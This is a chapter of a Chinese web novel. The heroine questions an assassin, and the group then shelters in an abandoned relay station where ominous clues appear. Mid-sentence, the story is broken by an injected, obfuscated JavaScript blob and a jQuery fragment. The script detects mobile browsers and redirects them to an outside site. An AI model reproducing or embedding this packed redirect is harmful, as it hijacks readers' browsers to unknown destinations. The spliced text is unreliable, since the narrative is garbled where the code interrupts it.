“……”江玉不知该如何套话了,她疑心这人是故意噎她,有些气愤地朝他看去,却冷不丁和他对上眼神。
李牧也迅速将视线移开了,装作无事发生。
见江玉沉默,他补充说:“一般这种伤口要一个月以上才能愈合。”
江玉顺着他的话说:“啊?这么久啊。”
“嗯。”
“那痛不痛啊?”
“有点。”
“我以为这种伤口对于你们来说毫不碍事的呢。”
“我们?”
“就是你们这些……刺客啊。”
李牧也想了想,说:“痛是痛的,但是不碍事。”
江玉觉得再这样尬聊下去就没完没了,索性直接提问:“你为什么要刺杀王富贵。”
“我只是听命行事。”
雍王密令不可外泄。他说服自己讲了些慌话。
眼下紧要的是赶快找机会和贡州的探子接头。他实在想不明白为何王富贵和盐铁贪污的事这么快就闹得将要人尽皆知了,江玉一行人做什么舞弊之事与他无关,他也无权干涉,只当是顺水推舟做个人情。
况且江玉救他一命,他理应在关键时刻向她施以援手。
“你该不会是被人派去杀人灭口的吧。”江玉讲的头头是道,“比如其实王富贵见到你雇主干了什么见不得人的事情,亟待解决之类的。”
王富贵之事牵扯到刘超。这几日各处风波不断,老杨失踪,剩下这几个人一个比一个不靠谱,如果不查个清楚,此事恐怕稍有不慎就会牵扯到整个墨阁。
到时候就不只是进大狱这么简单了。
李牧也肯定知道些什么,况且他看起来好像十分好说话的样子。
“他涉嫌私贩盐铁,顺便当了个死人引蛇出洞。”他觉得反正当时刘超也在场,没什么瞒着的必要。
刘超一听这话,扭过头:“娘的,那干啥要抓我!”
“你那是本来就被抓了!”花盈衣差点和他撞在一起,嫌弃地伸手去推,“总得有人去把他变成死人吧。”
那日王宅出事,刘超刚好以死替身份进了狱,是不是正好被逮了做局也未可知。毕竟既然有现成的可捡,何必去大费周章呢?
实在是太不凑巧。
江玉隐约觉得此事绝不会这么简单。盐铁贪污之罪可大可小,江南一带暂时还没有要严查此事的风声。
海捕文书是贴给有心人看的。山雨欲来,那日提刑官在长洲县私自斩杀盐贩,看起来也是毫无后顾之忧。
恐怕是王权贵胄的游戏。
江玉实在不想管这么多,她只想早点将墨阁和此事划清界限。
花盈衣看出她心事重重,也放慢了脚步:“玉娘,你雇她花了多少钱啊。”
“不要钱,包吃住就行。”江玉大声回答。
花盈衣忙捂住她的嘴,见李牧也毫不在意,稍微放松下来。
“诶,你小声点呀,让人家听见我们议论他该多不礼貌……”
江玉点头,把他晾在后面。她这几天都刻意回避了那天捡李牧也对事情,生怕他想起来当时自己是怎么差点见死不救然后又见钱眼开的。
她想起那块玉,回头一看竟发现他把那玉重新挂回腰间了。看来此物真的价值连城,只是为什么他一个小小刺客随身携带一块这么珍贵的玉呢?
也许那玉对他来说意义非凡?该不会真的是什么谁的遗物吧。
难怪他之前笑的这么诡异,是传说中的睹物思人吗?
太可怕了,还好她没有直接把那玉抢了。
眼瞧着几人前后走进了一片树林,远处的路一眼望不到头。
“我们这是要去哪。”江玉觉得好累。
“不晓得。”花盈衣回答,“问问刘超吧。”
其实她们虽然凑在一起说悄悄话,但一点也不小声,前后都听得一清二楚。
刘超闻声说:“啊?我以为你们要往那走呢。”
“那你走那么前面干嘛!”江玉和花盈衣一起停了脚步。
李牧也及时说,“往东走三十里,有个废弃驿站。”
三十里,那也不算很近。
“会不会太远。”李牧也朝着她问。
“不远不远。”
她从村子里走到镇上都有五十里呢,而且一去就是一个来回,总共一百里!区区三十里路,况且去了还能暂时避一避,休整一番。
.
夕阳将驿站斑驳的影子拉得老长。江玉踩过门廊下齐腰的荒草,惊起几只灰扑扑的麻雀。
半扇木门歪斜地挂在门框上,门板上留着几道狰狞的爪痕,像是被什么野兽撕扯过。
“这鬼地方真的能住人?”刘超用刀鞘拨开垂落的蛛网,呛得直咳嗽。积灰被震得从横梁簌簌落下,在斜射进来的光柱里翻滚。
李牧也伸手摸了摸窗棂上的尘土:“应该是三年前裁撤的官驿。”
江玉抬头望向二楼,残缺的雕花栏杆后隐约可见几扇东倒西歪的槅门。有风穿过破洞的窗纸,发出呜呜的声音。
她跟在刘超后头走了进去,忽然注意到大堂角落的柜台,漆皮剥落的抽屉半开着,露出半截泛黄的公文纸。
“申时三刻,贡州急递......”江玉借着残光辨认着模糊的字迹,日期竟是十年前。
纸页边缘洇着深褐色的污渍,像干涸的血迹。
“都别愣着了。”刘超把佩刀往桌上一拍,惊起更多灰尘,“先找点柴火生个火堆。花娘子,劳烦去后院井里打点水。”
“啊?这破地方哪来的水”花盈衣瞪圆了眼睛,“这井绳怕不是早就朽了,万一摔下去......”
李牧也起身:“我去吧,这旁边应该有溪流。”
自从上次调动耳道去听江玉的哨声后,他就觉得此法十分好用,这几天咬着后槽牙调了好几次,还顺带着找到了新的辨声方法,比先前听得清楚多了。
那骨哨真是个好东西,使用起来又隐蔽又快捷。他暗暗决定要回去问了江玉后将此物仿造一批带回王府用。
李牧也竖起耳朵提着桶循声往河边走去。这一带荒无人烟,到处都是奇形怪状的枯树和山石。方圆几十里只有刚才那一个废弃驿站,而且那驿站也八成是因为周围路
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541728|171004||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
太难走被废弃的。
他爬上爬下好一会儿才终于听到潺潺的水声。
李牧也扶着树走到溪流旁边。将手捏起来吹了声哨。
林里大大小小的鸟被他这一声惊地飞起,他矮身蹲下,一支大箭瞬间破空而来钉在了他身后的树上。
箭羽处系了段短竹,他继续蹲着又吹了一哨,随后才起身将竹子取下来。
倒出来一张空白的纸。
---
驿站内没有一处不是积满了厚厚一层灰。刘超好不容易哼哧哼哧在大堂处打扫出一块能睡人的地方,四面八方的风一吹,那一小块干净的地又全是灰尘了。
他狠狠把手上的干草往地上一摔。
“哎哟,要不我说你傻呢。”花盈衣见状笑得弯腰,放下怀里的树枝,“你偏要睡得这么四四方方正正好好干嘛哈哈哈,找个没风的角落不就好了。”
刘超有些恼羞成怒:“哎!我刚跟你说我去捡柴你来收拾,你又不肯!”
小白早已叼了一块干净的布坐在没风的角落舔毛了,江玉蹲在旁边烧火。
她也有点想笑:“哎没事,你再扫也扫不出名堂了。睡这里多冷,到处都是风。一会儿我们各自找个没风的小角落睡就好了。”
“那不成,我觉得还是睡在一处比较好。”刘超反驳。
“你真是好奇怪,难道一个人睡怕黑吗?那让小暗卫陪你好了,我和玉娘睡哈哈哈。”
他觉得此人十分欠扁:“你再笑!”
“哎没事,我们挤一挤也成。”江玉解围,“毕竟没那么多柴火。”
两人拌嘴一阵,又考虑到天黑外边不安全,决定让刘超出去捡柴,花盈衣接替他收拾住处。
江玉举着火折子爬上阁楼。腐朽的楼梯在脚下发出不堪重负的呻吟。月光从破瓦间漏下来,照见地上一串浅浅的脚印。
她走近了蹲下来看,那些脚印应该是一段时间前有人踩上去的,上面有一层薄薄的灰。
只是为何这些脚印都这么齐整呢?根本看不出深浅和方向,只知道是有人上来踩过。
江玉沿着墙慢慢移动,走过一个转角,那些脚印突然都没了,取而代之的是一道长长的拖痕。
她有些后悔不早些上来看看。
楼下突然传来花盈衣的惊呼。江玉转身时撞到歪斜的博古架,几本账册被撞了下来。
她低头瞥了一眼,是贡州这一带的书信收据。
江玉没管,闻声回到楼梯处。李牧也不知何时回来了,正将水囊递给刘超。
花盈衣的衣摆不小心被火燎了。
“怎么去了这么久?”她靠在楼梯边想下去。
“有点远。”李牧也拨弄着火堆,跃动的火光在他脸上投下深深阴影。
花盈衣突然指着窗外又尖叫一声。众人转头望去,只见荒草丛中飘着几点幽绿磷火,忽明忽暗如同鬼眼。更远处传来野狗撕咬的呜咽声,在寂静的荒原上格外瘆人。
刘超啐了口唾沫要去关窗,却发现所有窗棂早被钉死。江玉站在原地一动不动,整座驿站就像张巨大的蛛网,而他们正在网心。